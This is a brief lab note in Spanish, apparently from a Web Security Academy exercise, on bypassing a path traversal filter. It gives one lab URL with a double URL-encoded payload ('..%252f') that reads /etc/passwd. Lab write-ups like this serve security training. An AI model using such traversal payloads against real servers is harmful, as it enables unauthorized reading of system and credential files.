4 - File path traversal, traversal sequences stripped with superfluous URL-decode

Usamos url encode en unicode:

https://0a270054041d129881598e100081000e.web-security-academy.net/image?filename=..%252f..%252f..%252fetc/passwd